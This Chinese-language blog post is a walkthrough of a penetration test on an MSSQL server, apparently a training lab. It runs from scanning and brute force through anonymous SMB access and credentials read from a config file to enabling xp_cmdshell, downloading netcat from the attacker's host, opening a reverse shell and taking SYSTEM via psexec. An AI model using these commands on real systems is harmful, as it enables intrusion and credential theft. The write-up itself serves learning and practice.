• MSSQL渗透测试


    拿到目标的IP地址,我们先对IP地址进行信息收集,收集信息资产,同时使用nmap对IP地址进行扫描

    nmap -sC -sV IP
    
    • 1

    在这里插入图片描述

    从扫描的结果中,我们能知道目标服务器是windows操作系统,使用的是mssql数据库,数据库端口对外开放,我们先对1433端口进行爆破

    hydra -L /root/user.txt -P /root/pass.txt ip mssql -vv
    
    • 1

    在这里插入图片描述

    没有扫描出账号密码,看一下其它的端口有没有可以利用的地方

    这个135端口是高危端口,我们去网上搜索一下相关利用资料,发现这个端口在之前涉及到一个冲击波病毒,这个端口有登录点,可以进行爆破,我这里使用NTscan进行爆破,没有跑出来

    https://zhuanlan.zhihu.com/p/56059871

    在这里插入图片描述

    RPC协议提供DCOM服务,使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输

    下面的两个139和445端口试了,也没有什么突破,我们看到1433端口,有用到smb协议,我们尝试一下

    smbclient -N -L IP
    
    • 1

    在这里插入图片描述

    查看smb文件成功,smb协议是一种网络通信协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源

    我们这里是使用空口令进行登录并且查看smb文件,说明这个地方存在空口令漏洞

    在这里插入图片描述

    接下来,我们一个个查看smb文件,看看有没有什么敏感的信息泄露

    smbclient \\\\IP\\查看的文件名
    
    • 1

    在这里插入图片描述

    权限不够,加$的目录需要管理员权限,看来我们的账号有点不太行,看一下backups的
    在这里插入图片描述

    prod.dtsConfig好像是一个配置文件,我们把它下载下来看一下

    get prod.dtsConfig
    
    • 1

    在这里插入图片描述

    这个配置文件是MSSQL中SSIS的XML格式配置文件,里面应该会有我们想要的信息

    在这里插入图片描述

    在这里,我们找到了mssql数据库的账号密码,那我们现在就去连接目标的mssql服务器

    mssql数据库连接

    使用Impacket工具中的mssqlclient.py脚本去连接,进入/root/impacket/examples/目录,然后使用mssqlclient.py脚本去连接就可以了

    python3 mssqlclient.py ARCHETYPE/sql_svc@IP -windows-auth
    
    • 1

    在这里插入图片描述

    输入上面获得的密码,连接成功,获取

    -windows-auth :使用 Windows 身份验证

    我们接下来就是进行提权,我们需要判断sql_svc是不是管理员账号,权限够不够大

    help
    
    • 1

    在这里插入图片描述

    我们看到这里有xp_cmdshell功能,我们接着判断一下sql_svc是不是管理员账号

    select is_srvrolemember('sysadmin');
    
    • 1

    在这里插入图片描述

    返回1,说明是mssql的最高权限,sa,那我们就不需要提权了,我们试一下能不能执行命令

    EXEC xp_cmdshell "net user";
    
    • 1

    在这里插入图片描述

    返回error,说明xp_cmdshell功能不能使用,命令无法执行,我们使用以下命令组开启xp_cmdshell功能

    EXEC sp_configure 'show advanced options', 1
    RECONFIGURE
    EXEC sp_configure 'xp_cmdshell',1
    RECONFIGURE
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    在这里插入图片描述

    xp_cmdshell "whoami"
    
    • 1

    在这里插入图片描述

    确认命令能够执行,但是在数据库当中不好操作,所以我们接下来就要反弹shell
    我们将上传nc.exe到目标服务器上,先开启HTTP服务器、nc侦听器

    python3 -m http.server  80
    
    • 1

    在这里插入图片描述

    nc -nvlp 1234
    
    • 1

    在这里插入图片描述

    在目标数据库中查看当前目录

    exec xp_cmdshell "powershell -c pwd";
    
    • 1

    在这里插入图片描述

    路径在C:\Windows\system32,这个可不好操作,因为我们只是数据库的最高权限,是无法修改系统的目录,这个时候,我们要改变上传的目录,我进行了目录枚举,失败了,根本移动不了,从网上找了一个默认的上传目录
    C:\Users\sql_svc\Downloads,切换到数据库的默认目录C:\Users\sql_svc\Downloads并下载我们本地的nc.exe

    xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://本地连接目标服务器的IP/nc64.exe -outfile nc64.exe"  
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    nc上传成功,nc反弹shell

    xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 本地连接目标服务器的IP 1234"
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    反弹shell成功,拿到目标数据库的权限

    在这里插入图片描述

    我们后续的命令在nc上面敲就好了,拿到数据库的权限,我们还要进一步提权,获取服务器的权限,以便于我们后续的信息收集

    提权至服务器权限

    在提权这里我使用的是winpeas,它可以帮我们寻找可以提权的方式
    直接在nc界面输命令,先进入powershell界面

    powershell
    
    • 1

    在这里插入图片描述

    然后把winpeas.exe给下载进去

    wget http://本地连接目标服务器的IP/winPEASx64.exe -outfile winpeas.exe
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    直接执行winpeas.exe这个工具就可以了,这个工具重点的东西,它会标红进行显示

    .\winpeas.exe
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    看到这里,我知道这台服务器之前登录过两个账号,其中还有一个是管理员账号

    ConsoleHost_history.txt是windows系统的powershell历史记录文件,我们去看看

    cd AppData
    cd Roaming\Microsoft\Windows\PowerShell\PSReadLine\
    ls
    type ConsoleHost_history.txt
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    我们直接看到了账号密码

    winpeas不仅是一个提权的工具,它还能很好的收集服务器的信息,可以当作信息收集工具来使用,从它收集来的信息来看,这个目标没有内网

    https://cloud.tencent.com/developer/article/2149150

    在这里插入图片描述

    我们得到了服务器管理员的账号密码,那我们现在就去连接一下,使用Impacket 套件中的psexec.py去连接

    python3 psexec.py administrator@目标IP
    whoami
    
    • 1
    • 2

    在这里插入图片描述

    成功获取服务器的system权限,因为没有内网就到这里了

  • 相关阅读:
    【原创】基于JavaWeb的社区物业管理系统(Web物业管理系统毕业设计)
    Git 开源的版本控制系统-04-branch manage 分支管理
    STM32:GPIO--点亮灯(软件部分+操作步骤+解释)
    2024年天津专升本文化课考试大纲发生了哪些变化
    还在烦恼代码写不出来?低代码助力实现“无码”搭建系统平台
    iOS使用NSURLSession实现后台上传下载
    [附源码]计算机毕业设计springboot网上书城网站
    uniapp 高度铺满全屏
    Java并发-synchronized使用方法
    01 SpringMVC 入门
  • 原文地址:https://blog.csdn.net/m0_53008479/article/details/136319228